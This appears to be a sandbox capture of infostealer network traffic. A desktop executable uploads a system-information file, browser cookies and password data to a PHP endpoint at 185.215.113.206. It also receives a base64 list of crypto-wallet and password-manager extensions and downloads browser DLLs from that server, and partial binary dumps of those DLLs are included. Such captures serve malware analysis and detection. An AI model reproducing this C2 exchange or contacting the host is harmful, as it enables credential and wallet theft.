Oct 30, 2024 04:34:12.765789986 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 30, 2024 04:34:12.765805960 CET	336	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 30, 2024 04:34:12.765901089 CET	1236	IN	Data Raw: 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d Data Ascii: ZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB
Oct 30, 2024 04:34:12.765916109 CET	1236	IN	Data Raw: 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 Data Ascii: MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHx
Oct 30, 2024 04:34:12.765930891 CET	424	IN	Data Raw: 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d Data Ascii: YW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3w
Oct 30, 2024 04:34:12.765973091 CET	404	IN	Data Raw: 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 42 6c 62 6d 74 6d 59 6d 4a 77 62 57 Data Ascii: amxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmt
Oct 30, 2024 04:34:12.824162960 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="message"fplugins------KKJEBAAECBGDHIECAKJK--
Oct 30, 2024 04:34:13.112096071 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 04:34:13.129081011 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCGDHJEGHJKFHJJJKJ Host: 185.215.113.206 Content-Length: 5619 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:34:13.129148006 CET	5619	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 Data Ascii: ------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 04:34:13.932326078 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:14.235881090 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 04:34:14.521132946 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 04:34:14.521153927 CET	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49798	185.215.113.206	80	6308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:34:24.912748098 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:34:24.912798882 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 30, 2024 04:34:26.338232994 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:26.446713924 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="file"------CGCFIIEBKEGHJJJJJJDA--
Oct 30, 2024 04:34:27.227274895 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	50987	185.215.113.206	80	6308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:34:35.209372997 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:34:35.215646029 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 30, 2024 04:34:36.643990040 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:36.794588089 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="file"------AFHDBGHJKFIDHJJJEBKE--
Oct 30, 2024 04:34:37.579336882 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:38.647797108 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 04:34:38.934205055 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 04:34:38.934236050 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 30, 2024 04:34:38.934257984 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 30, 2024 04:34:38.934273958 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 30, 2024 04:34:38.934290886 CET	424	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 30, 2024 04:34:38.934308052 CET	1236	IN	Data Raw: 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 c4 08 8b 4d f0 31 e9 e8 9a fe 07 00 89 f8 83 c4 24 5e 5f 5b 5d c3 55 89 e5 53 57 56 8b 75 08 85 f6 74 3a 8b 7d 0c 8b 1e 85 db 74 24 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 Data Ascii: EtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1
Oct 30, 2024 04:34:38.934324026 CET	1236	IN	Data Raw: ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 Data Ascii: t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVu
Oct 30, 2024 04:34:38.934341908 CET	424	IN	Data Raw: 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 Data Ascii: >>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}
Oct 30, 2024 04:34:38.934684992 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 30, 2024 04:34:38.934700966 CET	212	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]
Oct 30, 2024 04:34:42.191278934 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 04:34:42.477356911 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 